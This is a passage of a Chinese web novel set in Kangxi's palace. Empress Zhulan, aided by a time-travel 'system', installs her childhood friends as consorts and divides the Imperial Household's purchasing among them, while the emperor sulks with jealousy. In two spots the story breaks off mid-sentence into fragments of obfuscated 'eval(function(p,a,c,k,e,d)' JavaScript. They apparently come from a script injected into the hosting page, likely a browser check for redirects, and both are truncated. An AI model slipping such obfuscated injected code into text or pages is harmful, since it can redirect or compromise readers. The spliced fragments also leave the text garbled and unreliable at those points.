“朕道皇后怎突然清闲了。”他转身时玄色龙袍扫过博古架,铜鹤香薰叮咚作响,“原是惦记着慈宁宫那群玩伴。” 珠兰仿佛是霎时红了脸,绞着帕子的指尖将绣着并蒂莲的边角揉出褶皱,眼波流转似嗔似羞,“皇上就会打趣人...臣妾是真的想妹妹们了。”这工作如此累人,不多少找些帮手,可是太费自己了。 康熙无端看向帕子上的并蒂莲,喉间突然发紧。皇后喜欢莲花纹路,他便是命人选了这并蒂莲的纹样来。 他转过头,干咽了一口,伸手拨弄墙上的《黄河图》,显得很忙,羊皮卷发出沙沙轻响,“你可知她们若再入宫,便是以庶妃的名分?” 说完,他又不自觉转了回来,便见珠兰眸光骤亮,大红色绣满并蒂莲花旗装下的身形不自觉前倾,“这样更好!西六宫离养心殿近,姐妹们既能侍奉皇上,又能常来陪臣妾说话...” 殿外风势忽急,卷起檐角铜铃一阵乱响。 她很少穿这样艳丽的颜色,却穿的很漂亮,这是朕选的衣裳。康熙盯着她眼底跳动的雀跃,忽而觉得那簇火苗刺眼得很。是伺候朕,还是陪你说话…… 他捏着图卷的手指收紧,故意板起脸,“科尔沁路途遥远,阿日娜苏入京事,待开春再议。”见珠兰微愣的模样,又补了句:“苏完娜年纪尚小,再留家中教养两年。”他想着,总不能,尽如皇后的意。 珠兰垂眸,睫毛在脸颊投下蝶翼般的阴影,想着俩人都小呢,过了年进来也行。她没瞧见皇帝背在身后的手握成拳,指节泛着青白。 “倒是乌拉纳喇氏、马佳氏、钮祜禄氏...”康熙突然开口,声音刻意放得漫不经心,“年纪合适,可先接入宫册为庶妃。”他再次转身时,龙纹靴碾过金砖,“皇后既这般上心,安置何处?” “自然该请皇上示下。”珠兰福身,鬓边碎发扫过鎏金护甲。这东西有点拽头发,她偷偷低头呲牙。 康熙望着她低垂的眉眼,听说往日她在内务府时,有一张凌厉模样,压制的一众包衣不喘气,此刻却这般温顺乖巧,偏生那温顺里又藏着执拗。 还得是葛布喇之女,有能力,有底气,懂分寸,知进退。一种异样的感情,让皇帝不晓得如何分类,只好自己找理由。 他忽地笑出声,“马佳氏与你交好,便住启祥宫。咸福宫给纳喇氏,那里静谧。剩下的长春宫,归钮祜禄氏。” 咸福宫,规模中等,为前后两进院落,前殿面阔3间,后殿为寝宫,整体布局紧凑。因靠近御花园,位置偏北,相对静谧。装潢偏素雅,以青绿色彩画为主,殿内常陈设文房四宝与典籍,体现“静思”之用。 皇帝对纳喇氏的印象,还在文青的那一挂上,不出珠兰所料。这一处,正是为玉宁所备,各色书画齐全,琴箫乐器齐备。且靠近御花园,够她平日溜逛打发时间的。 长春宫,是西六宫中面积较大的宫殿,前殿面阔5间,院落开阔,配殿齐全。装潢较为华丽,梁枋施龙凤彩画,室内多用西式装饰布置,墙上挂设星月图、地理图、机械图等,设有一处小台,为观星之用,正是为萨琳所留。 启祥宫,面阔5间,院落布局与长春宫相似,但整体规模略小,位于西六宫南端,靠近内廷外朝的通道。彩画以花鸟、卷草纹为主,风格清新,殿内陈设偏实用,乃是为诺敏专门布置的,也是装潢时间最长的。 阿日娜苏来自科尔沁,皇帝不见得会愿意让她居住的太靠近慈宁宫,西路三处宫殿不会分给她。 西六宫东路中间的翊坤宫,是珠兰给她预留的。 至于苏完娜,这个佟家的格格,东六宫更合适她居住,毕竟皇帝可能会让她住景仁宫。 雪粒子打在窗纸上沙沙作响,康熙望着珠兰转身时飘起的裙裾,后知后觉地发现,自己方才刻意将最得她欢心的马佳氏放在了启祥宫,而非距离养心殿更近的永寿宫。 至于永寿宫,珠兰是安排给妹妹塔娜的。 铜火盆里的银丝炭突然爆出轻响,“臣妾想与皇上说说塔娜,”她的声音裹在龙涎香雾里,带着几分柔软,“我们姐妹总形影不离,这几月分隔两地,她来信说夜里总睡不安稳。” 康熙握着朱笔的手顿在半空,墨迹在“河道总督”四字上晕成墨团。太皇太后早暗示过,赫舍里双姝宜共侍君王。 可他总念着珠兰在内务府清查亏空时熬红的眼,想着她为自己筹措钱费日夜不眠的模样,才迟迟未提让塔娜入宫之事。 皇后是他的认可的,便不愿在小事上令她不愉。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“永寿宫倒合适。”珠兰似早有盘算,立即接口,“离养心殿近,臣妾也好时时照应。”她福身。 塔娜,她说想姐姐了,都瘦了。 塔娜的健康,关系到日后流着葛布喇血脉的皇子,不可不重视。 外臣女入宫,实在不宜住到后宫去。可比起在养心殿里住,住永寿宫倒也没什么。 康熙望着她垂落的睫毛,“既如此,便依皇后所言。”伸手去扶,触到她指尖微凉。他掌心紧攥的,正是一块带着山川气息的玉。 她既是治国的利刃,也是噬心的毒药,在权力与情感的熔炉里,终将被锻造成——连他自己也无法预料的模样。 康熙想起少年时在慈宁宫,祖母曾让他看工匠雕琢玉器,“越是贵重的玉,越要留些未琢的瑕疵,否则便成了死物。” 珠兰鬓边那支素簪,那些未经打磨的南珠,甚至她谈论塔娜时流露的真性情,都是他刻意容忍的"瑕疵"——唯有如此,这里,才不会失了让他甘愿沉沦的温度。 珠兰突然想起什么,“内务府改制案臣妾已呈上来十三日,还望皇上...” 29. 一起发财 话音未落,便见康熙耳尖泛红,猛地转身抓起案上奏折,“朕这就去看!” 望着皇帝的背影,越发高挑了,珠兰唇角勾起。系统数据在此,他是真忙的没时间管内务府的事儿,她知道。塔娜是真思念她,她也知道。 西六宫修缮时,她特意让工匠将永寿宫修的温馨舒适,以养生为重。 塔娜,定然会喜欢。 那里面阔5间,前后两进院落,前殿为正,后殿为寝,配殿齐全,整体规格与长春宫相近,属西六宫中等偏大的宫殿。位于西六宫南端,启祥宫西侧,距养心殿约120米,南邻内廷通往外朝的通道。 待格格们入宫,那些堆积如山的账册、错综复杂的采买流程,总该有人分担才是——毕竟,她可不愿独自困在内务府,做个不得闲的皇室打工人。给时空局打工,已经够让人难受了。 腊月十六的晨雾还未散尽,四辆青缎马车已碾过结霜的石板路,停在神武门侧。寒风卷着细雪掠过朱漆宫门,四位少女掀开厚厚的车帘,貂裘斗篷下的裙裾轻扫过冰凉的台阶。 临行前,各家都有嘱咐。 纳喇府二门前,老夫人握着玉宁的手反复摩挲:“入了宫便要谨言慎行,皇后娘娘是你幼时玩伴,虽有这层情分,更要记得尊卑。”说着将个沉甸甸的檀木匣塞进她袖中,“这是……必要时能派上用场。” 玉宁垂眸应是,发间新换的蜜蜡玳瑁头面随着动作轻颤,映得她愈发清雅。 钮祜禄府内,萨琳跪在祠堂祖宗牌位前,她膝下的青砖沁着寒意,却比心中的冷意稍逊几分。 临行前,年幼的妹妹萨琪玛偷偷塞给她一包安神香:“夜里若睡不着,就点上...”话未说完已红了眼眶。她们都是家族的重要资产,而今到了称量斤两的时刻,一个庶妃显然不能让阿玛额娘满意。 马佳府的大门里,诺敏被祖母紧紧搂在怀中,“诺敏,见了皇上皇后要多笑,莫要像在家里总躲着不爱见人。”老人布满皱纹的手抚过她的发顶, 诺敏点头,想起珠兰信中说的“内务府的账房缺人”,心中竟生出几分期待。 赫舍里府正厅,塔娜跪在祖父索尼面前。 “你姐姐在后宫站稳脚跟不易,”索尼的声音低沉,带着几分嘶哑,“此番入宫,你只需做好两件事:一是听皇后的话,二是护好皇后。”他见塔娜抬头时,那眼神里只有雀跃,居然是一团孩子气,不禁咳嗽了两声。 这样也好,一家两个女儿,总有一个是皇上喜欢的样子。索尼叹了口气,朝中攻守之势异形了。此刻的局面,不是索尼喜欢的,却容不下得他不接受。当初他觉得自己是下棋的那个,大胆预测太皇太后的想法。今时今日,全凭皇帝做主了。 老伙计们还想跟皇帝争,真是想不开啊。怎么就不晓得以退为进呢,鳌拜都晓得的。 四辆马车渐行渐远,车帘后的少女们各怀心思。 玉宁闭目养神。 萨琳摸出一本书。 诺敏盯着一串红宝石缠枝莲花穗子。 塔娜满怀激动,恍惚间又听见姐姐入宫前的叮嘱:“别怕,姐姐在宫里等你。” 晨雾渐散,阳光穿透云层,在她们身后拉出长长的影子,蜿蜒着没入宫门深处。 诸女入宫,按制前来拜见皇后娘娘。 养心殿东暖阁内,铜胎掐丝珐琅香炉吐着袅袅龙涎香,与餐桌上的热粥香气缠绕。 珠兰身着家常月白缎袄,一支白玉扁方梳起小两把头,只用绒花做点缀。见四位少女鱼贯而入、大拜行礼,立刻起身相迎,“快别行礼了,在我这儿没那么多规矩!” 塔娜早按捺不住,欢呼了一声“姐姐千岁”,像只雀跃的小鹿扑到桌前,盯着银碟里的玫瑰豆沙包直咽口水。 原是想趴姐姐怀里哭一场的,可这么多熟人在,先填肚子,等没人了再哭。 “快些脱了大衣裳,来用早膳。”珠兰叫宫女们都退了下去,此处也没了外人在,大家能松散自在些。都是一大早就出门的,定是空着肚子的。 乾清宫 春苒来回禀,今日皇后娘娘见了三位庶妃与赫舍里格格。 梁九功竖着耳朵仔细听,等皇上下朝回来,定是要问的。 慈宁宫 太后不解,为何太皇太后不把几个孩子召来相见,她还怪想她们的。 太皇太后摇了摇头,说初一、十五外,自己不召,也不许太后召见。 太后偷偷撇嘴,不见就不见吧。等年节下,女眷按规矩去御茶膳房做奶茶饽饽时,总能看见她们。 养心殿 四女皆笑,一瞬间便没了生疏感。她们本就在一处嘻嘻哈哈惯了。规矩学了,可见了如同往日丝毫没变的珠兰姐姐,还是心下放松的。 马佳诺敏眼疾手快地扶住塔娜险些歪斜的斗篷,帮她脱了挂起来,温声笑道:“当心。” 回来便利落地为她布菜,将蟹黄汤包摆在最顺手的位置,仿佛全然忘了自己还未落座。这是珠兰姐姐的妹子,便是她的妹子。她在家并不喜爱弟妹,毕竟都是她入宫后出生长大的,可见了塔娜,便十分稀罕。 看向皇后娘娘那边,诺敏心中全是蜜意,自小时候起她就喜欢姐姐,喜欢和她亲近。至于当年马佳氏被算计的事儿,她早就丢在脑后了。 纳喇玉宁踏入殿内时仍带着几分拘谨,藕荷色旗装裹着纤细的身形,黛眉微蹙打量四周。直到珠兰姐姐亲来拉着她的手坐下,塞给她一碟糖蒸酥酪,才微微放松下来。当日在慈宁宫,珠兰姐姐也是这样拉着她的手,从地动里拯救了她。 纳喇玉宁自诩是个清高自负之人,可碰见真诚待人的赫舍里珠兰,也是没了脾气,有些人的存在就像空气一样,无处不在且令人离不开。 她瞥见萨琳立在门边,墨绿织金缎衣衬得人愈发清冷,便轻咳一声:“都到齐了还愣着,皇后娘娘难得纡尊降贵,咱们可得识趣些。”虽说不喜欢萨琳,可也不愿意见她的不合时宜给大伙添堵。 萨琳本是八旗贵女,结果与她们这样的包衣之女一同封了庶妃,心中不愉快也不该放在脸上。 萨琳垂眸福身,行至桌前时目光突然定在青花珐琅瓷碟中的羊肉酱上。 记忆突然翻涌——幼时在慈宁宫,她也贪嘴。虽然她印象中自己总爱与珠兰争一个长短,但珠兰总偷偷给她留半罐羊肉酱,如今时隔数年,她也奇异自己居然还记得这桩小事。原来,她总是知道,她喜欢什么,想要什么。 她慌忙低头掩饰泛红的眼眶,却听玉宁嗤笑一声:“不过是口吃食,瞧你这没出息的模样,也不怕人笑话。”话虽刻薄,却不着痕迹地将帕子推到她手边。 “快尝尝这新做的云片糕,”珠兰将糕点放到萨琳面前,假装没看到她的泪,指尖不经意擦过她冰凉的手背,这个孩子要强,“御膳房的厨子总做不出慈宁宫的味道,我还特意叮嘱放了桂花蜜。” 萨琳喉头哽咽,咬下糕点的瞬间,甜香混着咸涩的泪意漫开——自封后无望,额娘全心扑在幼弟身上,她已记不清多久没人问过她爱吃什么。 做不成皇后,难道该怪她吗? 该怪的不应该是,她那志大才疏的阿玛吗? 为何都要来苛责她呢…… 塔娜腮帮子鼓得像只小松鼠,含糊不清地赞叹:“还是宫里的饭菜合胃口!” 诺敏笑着用帕子替她擦去嘴角的酱汁,这个傻姑娘啊。她转头又为珠兰添了半碗燕窝粥,眼中盛满孺慕,“姐姐尝尝这个,火候熬得正好。” “还记得咱们在慈宁宫偷烤栗子吗?”珠兰突然开口,惹得众人纷纷抬头。 塔娜笑得差点呛着,“那次玉宁姐被烟呛得直打喷嚏,结果把老嬷嬷引来了!” 玉宁顿时涨红了脸,抓起帕子要打,却被诺敏眼疾手快地拦住。 “别处的栗子哪有那时的香甜。”萨琳轻声开口,这是入殿来她说的第一句话。她用银匙舀起一勺桂花糖藕,看糖浆缓缓流下,“但比起来,倒是多了几分...” 话未说完,便被塔娜的欢呼打断:“姐姐!枣泥酥!” 一时间,碗筷碰撞声、笑闹声、劝菜声此起彼伏。玉宁的嗤笑,塔娜的狼吞虎咽,诺敏的温柔叮嘱,萨琳偶尔的轻声附和,还有珠兰时不时的调侃,将这方小天地填得满满当当。 晨光透过雕花窗棂洒在四人身上,映得珠兰戴着的白玉扁方愈发温润,恍惚间竟与慈宁宫的姐妹相聚别无二致,仿佛时光从未走远。 若是时光停留在这里,不晓得会有多幸福,塔娜笑眯眯吞下点心。 日光还在青砖上蜿蜒,宫女们刚撤下残羹冷炙,珠兰已利落地起身整了整衣襟。 塔娜下意识伸手去够案上剩下的半块枣泥酥,却见姐姐冲自己眨了眨眼,袖口暗绣的缠枝莲纹随着动作若隐若现。 “带你们去个好去处。”珠兰笑着挽住萨琳的手臂,金丝莲花纹护甲轻轻擦过对方微凉的腕子。 玉宁拢了拢貂裘,眼波流转间瞥见诺敏亦步亦趋地跟在珠兰身后,裙摆扫过满地阳光,倒像是追着日头走的蝴蝶。她撇嘴,也不知自己在酸些什么。 乾清宫 皇帝重重咳了一声,朕就知道,她是为了给自己找玩伴儿! 梁九功差点就跪地上了,我的主子娘娘啊,那晚膳您可千万要来啊。皇上的脸色,青了。 珠兰等五人沿着覆雪的游廊转过九曲十八弯,后头跟着一串儿宫女太监。 塔娜还踮着脚往永寿宫方向张望,嘴里嘟囔着:“姐姐,咱们是不是走错路了?” 直到朱漆匾额“内务府”三个鎏金大字撞入眼帘,玉宁攥着绢子的手骤然收紧。莫非…… 寒风卷着细雪掠过庑殿顶,檐角铜铃发出清越的声响,却掩不住几人此起彼伏的抽气声。 萨琳望着院中堆叠如山的账本箱子,墨绿裙裾下的手指蜷起——她分明记得父亲昨夜还说,皇后娘娘将内务府攥得滴水不漏,不可能让她们沾染,要她从皇上那儿使劲儿。 “这月广储司的绸缎采买、营造司的宫室修缮,还有会计司的账册核查...”珠兰推开账房的雕花木门,墨香扑面而来,二十余架檀木书架上,泛黄的账册几乎顶到藻井。 她拿起最上头一本,封皮上“康熙四年冬季宫用炭火”的字样还带着新描的朱砂,“杂事太多,我都忙不过来。日后,宫中采买之事暂时便由你们分管些吧。” 塔娜手里的枣泥酥“啪嗒”掉在青砖上,碎屑溅在诺敏裙角。 玉宁的点翠耳坠随着颤抖轻晃,突然想起父亲送她入宫前说的“蛰伏待时”。珠兰姐姐,就是珠兰姐姐,父亲那般凡夫俗子,怎么能晓得神仙中人之思。 萨琳盯着账本,又看向珠兰,不解其意。 诺敏下意识上前半步,却在触及珠兰含笑的目光时,红着脸退到一旁。 北风呼啸着撞在窗棂上,将众人的惊吹成凝滞的静。 唯有珠兰指尖划过账本的沙沙声,像是春蚕啃食桑叶,将这方天地的沉默,织成一张细密的网。 雕花铜炉里的银丝炭“噼啪”爆开火星,照亮的是《采买名录》。 她将檀木镇纸重重压在泛黄的宣纸上,目光扫过众人,“内务府每年采买流水之多,不可计数。与其便宜外头的蛀虫,不如交给自己人。” 玉宁轻拂桌面,带起账本上的薄尘,她迫不及待的问道:“姐姐是说...让我们举荐皇商?” 她想起关外乌拉老家那些叔伯们猩红的眼睛,每当提起内务府采买,喉结总随着吞咽上下滚动。乌拉纳喇她们这一支虽然是京中包衣,在地方上还有不少族人姻亲,以当兵为生,靠着山林吃饭。若是能转从商事,日子能好过许多。 她能被选入宫待年,与乌拉纳喇全族的战功有关,也与乌拉部在海西的根基有关。否则,她只是包衣郎中之女,怎么有底气在慈宁宫与一众贵女交好。 “关外的东珠、皮草、人参,往后归你管。”珠兰将写满密注的羊皮卷推过去,墨迹在“宁古塔参行”字样上洇出深色云团,“挑商户时仔细些,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她将刻着“盘库司”字样的腰牌抛过去,金漆在半空划出弧线,“既如此,便替我盯着库房。那些以次充好的把戏,可逃不过你的眼睛。”早就想好了萨琳的归处,这样刻板又负责的人,通晓数术,还带着争强好胜的意气,最适合盘库。 萨琳接住腰牌,冰凉的触感让她觉得踏实。 “塔娜!”珠兰转身时换了轻快的语气,却见妹妹正蹲在角落,用帕子包着不知从哪顺来的点心。她是怎么找到这些东西的,实在令人费解。 塔娜慌忙起身,腮帮子还鼓得像松鼠:“姐姐我在听!” 这丫头,越发松散了。 哄笑声中,一本写着“采买细则”的册子拍在她怀里,“往后米面粮油、药材铁器,都归你管。” 这些,是最紧要的,抓在自己人手里,才能让三叔索额图少些聒噪。 赫舍里家盯着内务府足足半年,族人眼圈、眼眶、眼珠子都是红的。葛布喇不管这个,都是索额图出面安抚。若非大半有能的都被安排去南方军中了,索额图都要安抚不住了。 既然要用族人,就不可不给好处。索尼教过,系统学的很好,给出的分配方案都不用改。 珠兰戳了戳塔娜圆滚滚的脸颊,“再偷吃,小心胖得穿不上旗装。” 塔娜扭着身子,贴在姐姐身上,好安心。 玉宁摩挲着羊皮卷,诺敏反复翻看账册的红批,萨琳握紧腰牌预备去库房。这样的皇后娘娘,怎么会不受爱戴呢。有好处,她真的分啊。 珠兰搂着塔娜,望着围坐在桌前的众人轻笑:“都说人心不足蛇吞象,可这内务府的盘子,一个人吞下去,怕是要撑破肚皮。” 三女一愣,这是我们该听的? 她起身展开墙上巨大的舆图,朱紫丝线在中原、江南、关外蜿蜒交错,唯独草原那片区域空着大片留白。 玉宁盯着舆图上关外的标记,“姐姐把采买分成几块···”草原之外,还有些细小留白,应该是留给随后进宫的妃嫔的,不过先来后到,最香甜的还是她们吃。 诺敏垂眸,将泡开的碧螺春推给身旁的塔娜——小妹妹正对着案头的蜜饯点心流口水。 “关外的东珠皮草归玉宁,江南的瓷器茶叶归诺敏。”珠兰的金护甲划过舆图,在中原地带顿住,“塔娜负责粮秣,萨琳盯着库房。咱们得把蛋糕做大了,才能人人有份。” 蛋糕做大? 蛋糕这种麻烦吃食,她们都在慈宁宫中吃过,晓得香甜。 可要如何做大? 内务府毕竟不是做专业买卖的地方,这里是皇帝家的私库,只出不进也无妨的地方。莫非,是叫江南织造去卖锦缎不成。 珠兰转身,目光扫过众人,“至于草原上的牛羊、皮毛...” 话音未落,萨琳已握紧腰牌,想起父亲总说“草原商路是赫舍里家的禁脔”。 “早呈给太皇太后与太后定夺了。”珠兰指尖划过舆图上留白的草原,鎏金护甲映着窗外白雪,“两位长辈深居后宫,总要有些事做才好打发时光。” 萨琳一愣,是了,自己居然没想起这一茬。可父亲也没想到…… 珠兰轻笑,眼尾的细痣随着笑意轻颤,“草原商路虽肥,却也最容易扎手,与其咱们争得头破血流,不如孝敬长辈。”得叫科尔沁先得些好处才能撬动漠北,才能谋求罗刹。现在好处都给山西商人得了,不比出手大方消费欲望高涨的蒙古王公,他们的银子都藏进地窖,流通太慢,这不妥当。 玉宁恍然大悟,想起入宫前祖母反复叮嘱“莫要得罪两宫”。 诺敏望着窗外飘雪,暗自盘算江南织造局的人脉该如何运作,苏州海关那边应该盯着几方,江西的瓷器是提前下手还是再看看,若是要出海那船…… 萨琳摩挲着腰牌上的“盘库司”字样,似乎没那么刺眼了。 塔娜咽下最后一块蜜饯,含糊不清道:“姐姐说得对!蛋糕做大了,点心就能管够!” 哄笑声中,珠兰将盖着内务府大印的采买文书分发给众人。这都是明年才会生效的,留着时间给她们与家里人沟通。 她将慈宁宫与寿康宫卷入这场利益漩涡,看似让出肥肉,实则是要用草原商事织就一张更大的网。 她想要的,从来不是眼前的利益。今日共吃蛋糕,养的更肥,将来…… 30. 皇帝心酸 北风卷着雪粒扑打窗棂,纳喇玉宁捏着采买文书的指尖微微发颤。 她望着舆图上关外那片用朱砂圈出的区域,想起离家时父亲反复叮嘱“小心皇后立威”,此刻却只觉掌心发烫。姐姐,还是慈宁宫中的姐姐。 东珠、皮草、人参...这些上三旗包衣乃至八旗贵胄趋之若鹜的肥差,竟这般轻易落入自己手中。内务府的买卖都是垄断,谁家接了这活儿那就是国内唯一供应商。贡品自不必多少,那贡余往外一卖都是天价。 “姐姐...当真信得过我?”话出口才惊觉失态,慌忙咬住下唇。纳喇玉宁从不因自己是女子,便觉得自己比家中父兄差了。自打她入宫,便做好了争抢的准备,她要做主子。她要家里求着她,她喜欢那种高高在上的滋味。可是,这一切轻易得到了,如此不真实。 余光瞥见诺敏捧着江南采买账册的虔诚模样,谁又能拒绝这从天而降的馅饼? 诺敏将温热的碧螺春盏贴在脸颊,氤氲茶香中,入宫前夜母亲的话犹在耳畔,“进了后宫便要谨小慎微,莫触皇后霉头。” 可此刻珠兰含笑的眉眼、亲手递来的密注账本,还有那一句“江南的事,姐姐信你”,让她眼眶发烫。这不仅是份差事,更是姐姐的心意。 抬眼望向主位上的珠兰,见对方朝自己轻轻点头,心中某根紧绷的弦轰然断裂。马佳氏全族,早就臣服于主子娘娘了。 亲密度数值在系统面板上疯涨的提示音,混着茶香漫过,珠兰欣慰一笑,涨到95了。 能自然提升的数值,便不去动,可以节省下不少观察点。比如早先被摆了一道的马佳氏,在被迫亮明立场,提前进入保皇党阵营后,便迅速改换门庭,抱了葛布喇大人的大腿。 虽说葛布喇大人对凑上来的马佳氏野生小弟没感觉,但马佳氏全族的忠诚度都在60以上是事实。 江南牵着海权,令马佳氏提前铺路最为合适。比让赫舍里族人直接去,要隐秘的多。 萨琳摩挲着“盘库司”腰牌上冰凉的纹路,指甲深深掐进掌心。 离家时父亲那句“盯着皇后一举一动”还在耳畔回响,此刻却盯着珠兰特意标注的“严查绸缎以次充好”批注,喉咙发紧。 她又想起家中母亲只关心她的位份和幼弟的爵位,原来人真不该读太多书,明太多理。 想要的太多,知道的太多,会痛苦。 她望向珠兰为自己挑选的盘库太监——那老宫人恭敬持算盘,掌心的茧子十分厚重。 这里的一切,比家族虚情假意的关怀更真实。 而且,父亲的话,何曾对过。她不禁轻声念叨,“姐姐...为何?” 话一出口,珠兰便见到系统面板上的亲密度已突破80。 塔娜囫囵咽下最后一块蜜饯,丝毫不在意这些事儿,家中自有人料理。 珠兰方才分发文书时,特意先说“利润归你们,但手莫伸太长”。 其实…… 乾清宫 明黄帷幔无风自动,康熙将朱砂御笔狠狠掷在奏疏上,墨迹在“河道疏浚方案”字样上晕开狰狞的红。 梁九功捧着茶盏的手微微发抖,瞥见御案上被揉皱的密报——上头赫然写着皇后将内务府采买权分与新晋庶妃。 当真将采买权拆成几块,皇帝突然起身,龙纹靴碾过金砖发出刺耳声响。 他想起珠兰递呈此议时,眼眸映着烛火,还说要将草原采买之事交付太皇太后与太后出身的科尔沁。 当时只觉皇后思虑周全,此刻却无端想起诺敏、玉宁等人入宫时,那像极了江南春水的柔情,那是皇后喜欢的模样,便如她喜欢的白玉珍珠一般。 梁九功一脑门子汗水不敢擦,“回皇上,娘娘还特意...” 话音未落,便被一声冷笑截断。康熙望着窗外纷飞的雪片,突然觉得养心殿的炭火烧得太旺,燎得人胸口发闷。 这些年他亲政、扳倒鳌拜、筹银治河,事事顺遂,唯独此刻胸腔里翻涌的情绪像团乱麻,剪不断,理还乱。 “今日皇后可来陪朕用晚膳?”话出口才惊觉语气生硬,他背过身去,盯着墙上的《黄河图》。 梁九功的回答如同一盆冷水浇下:“娘娘说几位小主初入宫,在内务府陪着用过膳了...” 寂静骤然笼罩大殿,唯有掐丝珐琅座钟滴答作响。 康熙的指节捏得发白,玄色龙袍下的身影绷得笔直。他想起大婚至今,无论政务多忙,珠兰总会准时出现在乾清宫,簪着他赏赐的东珠白玉钗,带着御膳房新做的点心。 可今日,她却为了几个刚入宫的庶妃,头一回爽约。 她们,就有那么多话说?! “随她去吧。”皇帝甩袖走向内室,靴跟重重砸在青砖上。 可当鎏金屏风将他的身影吞没,他却对着铜镜中自己阴沉的脸色怔了神——掌心的汗洇湿了袖口的海水江崖纹,胸腔里那股无名火,烧得他坐立难安。 他在寝殿内来回踱步,忽然狠狠捶向檀木榻,若今日她不来寻朕...朕... 又懊恼地转身,却不知这满腔的烦躁,究竟是为皇后心太大,还是为那缺席的温柔。 内务府西侧的回廊里,珠兰站在汉白玉阶前,轻轻叩击掌心,身后十二名宫女太监按序列队,手中托着檀木匣。 玉宁望着远处飞檐下悬挂的宫灯,忽然想起离家时母亲塞进行李的护身玉佩,此刻却觉得眼前的珠兰姐姐,比任何玉佩都更让人安心。 “这是新挑的人手。”珠兰将算盘模样的对牌塞进萨琳手中,金属凉意里还带着体温,“你只管用去,她们啊,个个都学了几何数算。旁的不说,定是能懂你说的话。” 萨琳一怔,西学之事,她也还记得。 诺敏接过翡翠扳指大小的铜筹,听着皇后细说宫中各类事项,眼眶发热。 塔娜早已恨不得扒着宫墙张望,突然指着远处惊呼:“那是我的宫室吗?挂着红灯笼的!” 珠兰笑着点她额头:“就你眼尖。”见众人面面相觑,她敛起笑意,目光扫过每张年轻的面孔:“永寿宫、咸福宫、启祥宫、长春宫,正殿都收拾妥当了。” 玉宁的指甲猛地掐进掌心,按照惯例,庶妃至多只能住侧殿,连每日晨昏定省都不好自行去皇后娘娘那里,要先去主位娘娘处。 “按你们的喜好布置的。”珠兰接过禄雅送上的绢画,“都是我亲手设计的。” 萨琳一眼认出,画中素色窗幔与幼时慈宁宫的陈设别无二致;诺敏的呼吸,停滞在看到江南山水屏风的瞬间;塔娜则跳起来抱住姐姐,发间绒球蹭得珠兰脸颊发痒。 “住正殿...”萨琳喃喃出声,攥着腰牌的手微微发抖。她 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“竟降了?”自入宫起,她表演了一出又一出,殚精竭虑协助皇帝处理政务,清查内务府亏空、筹谋治河银钱,一桩桩一件件,虽然花费心血的是系统,可亲密度一点没涨,如今... 乾清宫 暖阁内,鎏金兽首炭盆吐着暗红炭火,将康熙手中的《河防一览》映得忽明忽暗。葛布喇呈上的奏书,总是有真材实料。 案头的碧玉盏里,参茶早已换了三次,他却浑然不觉,目光虽落在书页上,思绪却总不自觉飘向内务府方向。 梁九功候在一旁,瞧着主子将同一页翻来覆去看了三遍,连他换茶都没察觉,心中暗暗叫苦。 “摆膳吧。”康熙合上书卷,觉得有些没意思。 梁九功忙示意宫女将食盒端上,八色精致小食在紫檀木膳桌上铺陈开来:翡翠芸豆卷、枣泥如意酥、藕粉桂花糖糕……每样都是皇后最爱的点心。 康熙瞥见那碟特意多摆的玫瑰豆沙包,喉头不自觉滚动了一下。 若非是她爱吃,他怎么会用这些··· 记忆中,珠兰每次来用膳,若是见了有这一样,总要先将这碟点心挪到离自己最近的位置,笑言“皇上总爱抢我的”。 此刻望着两份一模一样的豆沙包,他的嘴角不受控地扬起,却又猛地敛起,冷哼一声:“谁准摆两份的?” 梁九功扑通跪下,额头贴着冰凉的青砖:“内务府传了话,说娘娘这个时辰该……” “到了”俩字还没出来,便被一声闷响打断。 康熙抓起茶盏轻抿一口,又重重放下。苦涩的参味在舌尖散开,却不及心中酸涩。 他盯着案上的小食,心底翻涌着莫名的委屈与期待——若是她此刻推门而入,笑着认错,他定要板着脸训斥几句,再将她爱吃的点心全推过去;可若是她今日不来…… 想到此处,他烦躁地将茶盏拍了出去,瓷与木相撞发出清脆声响,惊得梁九功浑身一颤。 殿外寒风呼啸,铜铃叮咚作响,康熙却充耳不闻,只盯着门口方向。 烛火摇曳间,他摩挲着桌角暗纹,在心底一遍遍盘算:若她来,该如何拿捏分寸?若她不来,又该如何自处? 这般患得患失的模样,倒叫人忘了,他是个执掌乾坤、意气风发的少年天子。 31. 连哄带骗 几个丫头都保证会管好家里人,实则她根本不在意皇上的钱是花去了哪里,也没心思真做个事无巨细的大管家,她要的是她们背后的利益圈、消费圈、产地圈,世代联姻形成的盘踞地方的坐地虎,只有这些人日后都要靠着她拼好饭,才能形成另一股她想要的势。陆地上的买卖太小,养不出她需要的巨额能量。 区区内务府采买,区区几个地儿的生意,远远不够。 那些精心挑选的宫女太监,算盘打得比账房先生还精,既能帮衬众人,又能将潜在漏洞堵死。不怕爱钱,只怕她们不爱。将来入宫的女人越多,能拉拢的人就会越多。 赫舍里家独揽采买会招致满朝忌恨,可将肥肉分给皇帝的庶妃外戚,众人便只能转而讨好圣心——这步棋,既让皇帝满意,又敲打了朝堂,而且自己也不用那么累。 只是,皇帝在前朝还没用过妥协的艺术,他会不会顺着这个共分其利的方向走可说不准。 珠兰又让系统讨做了两套方案出来,就看皇帝往哪边选了。 要么大家一起赚银子,要么先打服了再一起赚银子。 为了获取能量结晶,珠兰必然又要有超脱时代潮流的动作。尤其等西行众人回来,远洋贸易才是大头中的大头。 将来能赚钱的买卖,触动的利益集团会很多。而这些今日接了内务府采买差事的,必然舍不得皇后娘娘给予的利益,日后都是为珠兰冲锋的排头兵。 这几家,是当初太皇太后特意为皇帝选的,看重的何曾是姑娘们,是她们背后纵横捭阖的家族姻亲。 能躺赢,何必自己动手。巧了,珠兰对她们背后的地方势力也有几分图谋。 寒风卷着细雪扑在脸上,她却浑然不觉。思绪回到皇帝身上,怎么数值还降了? 脑海中闪过今日未赴乾清宫晚膳的画面,心中顿时了然。 